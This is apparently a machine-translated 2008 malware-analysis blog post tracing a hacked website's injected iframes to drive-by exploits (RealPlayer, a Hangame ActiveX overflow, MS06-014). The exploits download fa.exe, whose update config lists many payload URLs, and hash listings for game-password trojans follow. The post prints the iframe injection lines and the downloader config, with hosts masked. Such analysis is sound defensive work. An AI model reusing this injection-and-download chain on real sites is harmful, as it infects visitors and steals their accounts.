A Web site that uses real, web games, and MS06-014 to spread BOT/fa.exe

A Web site that uses real, web games, and MS06-014 to spread BOT/fa.exe

EndurerOriginal
2008-02-131Version

A netizen reported that the website he managed had a problem. When he opened any webpage, the antivirus software reported a virus.

Check the website code and find:
/---
<IFRAME src = hxxp: // XXX. Hu * I ** la ** IB * a *. info/104.htm width = 100 Height = 0> </iframe>
---/

1 hxxp: // XXX. Hu * I ** la ** IB * a *. info/104.htm
Code included:
/---
<IFRAME width = 100 Height = 1 frameborder = 0 scrolling = No src = "C ** E * Shi **/real.htm"> </iframe>
<IFRAME width = 100 Height = 1 frameborder = 0 scrolling = No src = "C ** E * Shi **/lz.htm"> </iframe>
<IFRAME width = 100 Height = 1 frameborder = 0 scrolling = No src = "C ** E * Shi **/614.htm"> </iframe>
---/

1.1 hxxp: // XXX. Hu * I ** la ** IB * a *. info/C ** E * Shi **/real.htm
Download hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/fa.exe with the RealPlayer Vulnerability

File Description: D:/test/fa.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 12552 bytes, 12.264 KB
MD5: 6b0871a3aa90420f839ce5eecd1ddf94
Sha1: 674e363647ad7ab93176eca70a33fbfcfc355c3d
CRC32: 3e6d13ca

The driver Drivers/pcihdd2.sys, and the timplatform.exew.userinit.exe file will be released. And according to hxxp: // A ** A *. hu * I ** la ** IB * *. info/C ** e ** Shi **/fa.txt download the new version:
/---
[Control]
Version = 2008-2-9

[Down]
Newversion = hxxp: // XXX. Hu * I ** la ** IB * a *. info/C ** E * Shi **/gx.exe
1 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/11.exe
2 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/12.exe
3 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/13.exe
4 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/14.exe
5 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/15.exe
6 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/16.exe
7 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/17.exe
8 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/18.exe
9 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/19.exe
10 = hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/20.exe
11 = hxxp: // * 60.190.216. * 12/ww/21.exe
12 = hxxp: // * 60.190.216. * 12/ww/22.exe
13 = hxxp: // * 60.190.216. * 12/ww/23.exe
14 = hxxp: // * 60.190.216. * 12/ww/24.exe
15 = hxxp: // * 60.190.216. * 12/ww/25.exe
16 = hxxp: // * 60.190.216. * 12/ww/26.exe
17 = hxxp: // * 60.190.216. * 12/ww/27.exe
18 = hxxp: // * 60.190.216. * 12/ww/28.exe
19 = hxxp: // * 60.190.216. * 12/ww/29.exe
20 = hxxp: // * 60.190.216. * 12/ww/30.exe
21 = hxxp: // * 60.190.216. * 12/ww/31.exe
22 = hxxp: // * 60.190.216. * 12/ww/32.exe
23 = hxxp: // * 60.190.216. * 12/ww/33.exe
---/

File Description: D:/test/11.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time: 17:38:47
Size: 24504 bytes, 23.952 KB
MD5: 0954e96e6874639c9289683739588b71
Sha1: c01933808d2c9a8b94228a22983acc63bb0a7197
CRC32: 8d044e32

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qiv, rising reports Trojan. psw. win32.gamesonline. Mn

File Description: D:/test/12.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 18336 bytes, 17.928 KB
MD5: 69a4ce8ebf88e7124fb62b93f11e0d41
Sha1: d8e092c49ae3d463da35cc89489a806a26cdfb94
CRC32: e2794881

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qnk, rising reports Trojan. psw. win32.gameol. lvx

File Description: D:/test/13.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 18452 bytes, 18.20 KB
MD5: 301ee0fc94f9270ba5147bec7fd531fc
Sha1: dece439e84488aaf869ab32e41149b9d825c7cfa
CRC32: 9e59252d

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qiv, rising reports Trojan. psw. win32.gamesonline. Mn

File Description: D:/test/14.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:10:17
Modification time: 18:10:17
Access time: 18:10:22
Size: 21360 bytes, 20.880 KB
MD5: cb6969b4a466e04377efcc05e52dd9f9
Sha1: 52cb364e57bb2c568e8a463e070c8dd3eff49352
CRC32: e0612093

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qiv, rising reports Trojan. psw. win32.gamesonline. Mn

File Description: D:/test/15.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:12:23
Modification time: 18:12:23
Access time: 18:12:31
Size: 19300 bytes, 18.868 KB
MD5: ab7b502fd6c1275535d3a5c0f76cc077
Sha1: 74539522121111409c34cb0c44823677cc6a7fb2
CRC32: 1f9cd601

Kaspersky reported as Trojan-PSW.Win32.OnLineGames.qoz

File Description: D:/test/16.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time: 17:54:51
Size: 23332 bytes, 22.804 KB
MD5: 7fe3e49f7aa45070ad5b9903d2878c5e
Sha1: 2f36391d16289795f49119d2239c4ad60495bd28
CRC32: bf616978

Kaspersky for Trojan-PSW.Win32.OnLineGames.pud, rising for Trojan. psw. win32.zhengtu. ymy

File Description: D:/test/17.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:19:28
Modification time: 18:19:28
Access time: 18:19:33
Size: 18584 bytes, 18.152 KB
MD5: be28d24eaaf864f41533629bfb1036d7
Sha1: ecd316c09db6f79b0c33bde07499129a19245609
CRC32: b548febf

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qiv, rising reports Trojan. psw. win32.gamesonline. Mn

File Description: D:/test/18.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 19304 bytes, 18.872 KB
MD5: fc46949ddab4837377bdef45dae888d9
Sha1: 2357a48e60ba86b6e23c0f20ec12210cf34c9171
CRC32: bd7433c4

Kaspersky reported as Trojan-PSW.Win32.OnLineGames.qoz

File Description: D:/test/19.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:13
Modification time: 18:22:13
Access time:
Size: 18824 bytes, 18.392 KB
MD5: 5d8bb087e788dc90919763f59231e5f5
Sha1: b3b0c97715b6b431bfb904a783e360616cd9c4a5
CRC32: d6a01f42

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qnk, rising reports Trojan. psw. win32.gameol. lvx

File Description: D:/test/20.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:19
Modification time: 18:22:17
Access time:
Size: 17956 bytes, 17.548 KB
MD5: 3d779c93f9a1dbd6ec5ade69e58f5add
Sha1: 9953662b42072b5ae2316703b54604859b186552
CRC32: ecadcb14

Kaspersky reports Trojan-PSW.Win32.OnLineGames.pry, rising reports Trojan. psw. win32.xyonline. ABC

File Description: D:/test/21.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:26
Modification time: 18:22:26
Access time:
Size: 18620 bytes, 18.188 KB
MD5: 9bc243e13c042d66da1e69fa1f400f00
Sha1: a02192990f35a7acc14579d995d5455a02d0f6c0
CRC32: ee76c082

Kaspersky reports Trojan-PSW.Win32.OnLineGames.qoz, rising reports Trojan. psw. win32.gameol. lvx

File Description: D:/test/22.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:33
Modification time: 18:22:33
Access time:
Size: 23232 bytes, 22.704 KB
MD5: 2993d90fc8edb81a133aebe91fa5c877
Sha1: 296b205c710ad4ec4241b4c5e5c522029d283269
CRC32: 681deef5

Kaspersky reports Trojan-PSW.Win32.OnLineGames.pzl, rising reports Trojan. psw. win32.gamesonline. mh

File Description: D:/test/23.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:39
Modification time: 18:22:39
Access time:
Size: 18088 bytes, 17.680 KB
MD5: 733f4e26662dd77474dc3196e8e8e01e
Sha1: 176da1b70a64c055d6925e30b9c82c3167927204
CRC32: fdf8cc50

Kaspersky reports Trojan-PSW.Win32.OnLineGames.pzl, rising reports Trojan. psw. win32.gamesonline. mh

File Description: D:/test/24.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:46
Modification time: 18:22:46
Access time:
Size: 18248 bytes, 17.840 KB
MD5: 8f8280b117acf67defc518a8d18bf121
Sha1: fe10a12370b50a2db3c445839c52520c340f5a45
CRC32: 794cffd6

Kaspersky reported as Trojan-PSW.Win32.OnLineGames.qoz

File Description: D:/test/25.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:50
Modification time: 18:22:50
Access time:
Size: 18836 bytes, 18.404 KB
MD5: 4ba3bb2166514167e494be187dc3d8b1
Sha1: 8ce2f7365f7c2582684108365ce0f90bb90ec65f
CRC32: 35a1969f

Kaspersky reports Trojan-PSW.Win32.OnLineGames.pbp, rising reports Trojan. psw. win32.gamesonline. Mn

File Description: D:/test/26.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:22:56
Modification time: 18:22:56
Access time:
Size: 19248 bytes, 18.816 KB
MD5: e29347bdf544cc5f1db866a578d66c89
Sha1: 3296c45e6cf45151a4e07d24cef7bb9585507dca
CRC32: da8a4f3b

Kaspersky reports Trojan-PSW.Win32.OnLineGames.pzl, rising reports Trojan. psw. win32.gamesonline. mh

File Description: D:/test/27.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 18281 bytes, 17.873 KB
MD5: 5d0fb9ad3308914702951a7747b9ab15
Sha1: 774b1b79b1c103814bb09469eee53b3ebf0d0afe
CRC32: a330824d

Kaspersky reports Trojan. win32.agent. fey

File Description: D:/test/28.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time:
Modification time:
Access time:
Size: 17351 bytes, 16.967 KB
MD5: 2175ee2c7d73838c316c577cbc9d9096
Sha1: 942dc4628f37a7ad22afe19e3eb8886743580241
CRC32: b1c8ac52

Kaspersky reports Trojan. win32.agent. fey

File Description: D:/test/29.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:23:12
Modification time: 18:23:12
Access time:
Size: 18389 bytes, 17.981 KB
MD5: cc20a85b4d0ea3aebac4e2ee9a850133
Sha1: 3090c59c29297a6d9dd4032884d4f6f2d3f3cdeb
CRC32: af2f454e

Kaspersky reports Trojan. win32.agent. fey

File Description: D:/test/30.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:23:18
Modification time: 18:23:18
Access time:
Size: 17832 bytes, 17.424 KB
MD5: 98ac9873f6e6bbb33ddc9f2bedb8835d
Sha1: 44acb3221214716e6e71fa2fe498faecce45af22
CRC32: 198b88a2

Kaspersky reports Trojan. win32.agent. fey

File Description: D:/test/31.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:23:25
Modification time: 18:23:25
Access time:
Size: 17548 bytes, 17.140 KB
MD5: 014124061ebe4e646fe9956e7e6f232f
Sha1: 83e1b7111f5aac7eb6799070fad18def5ddc3a98
CRC32: 2c4fecba

Kaspersky reports Trojan. win32.agent. fey

File Description: D:/test/32.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 18:23:32
Modification time: 18:23:32
Access time:
Size: 17800 bytes, 17.392 KB
MD5: 29dae875fb311512c920ff9500d40abd
Sha1: 321894c94561174105f40bf947ce4cd2569f31f0
CRC32: 8f7ace0e

Kaspersky reports Trojan. win32.agent. fey

1.2 hxxp: // XXX. Hu * I ** la ** IB * a *. info/C ** E * Shi **/lz.htm
Output code:
/---
<IFRAME width = 50 height = 1 src1_lz1.htm> </iframe>
---/

1.2.1 hxxp: // XXX. Hu * I ** la ** IB * a *. info/C ** E * Shi **/lz1.htm

Use the glworld hangameplugincn18 ActiveX Control Stack Overflow Vulnerability to download: hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/fa.exe
Reference: http://www.nsfocus.net/vulndb/11465

1.3 hxxp: // XXX. Hu * I ** la ** IB * a *. info/C ** E * Shi **/614.htm
Download: hxxp: // XXX. Hu * I ** la ** IB * a *. info/ww/fa.exe with a critical vulnerability in MS06-014: msadco. dll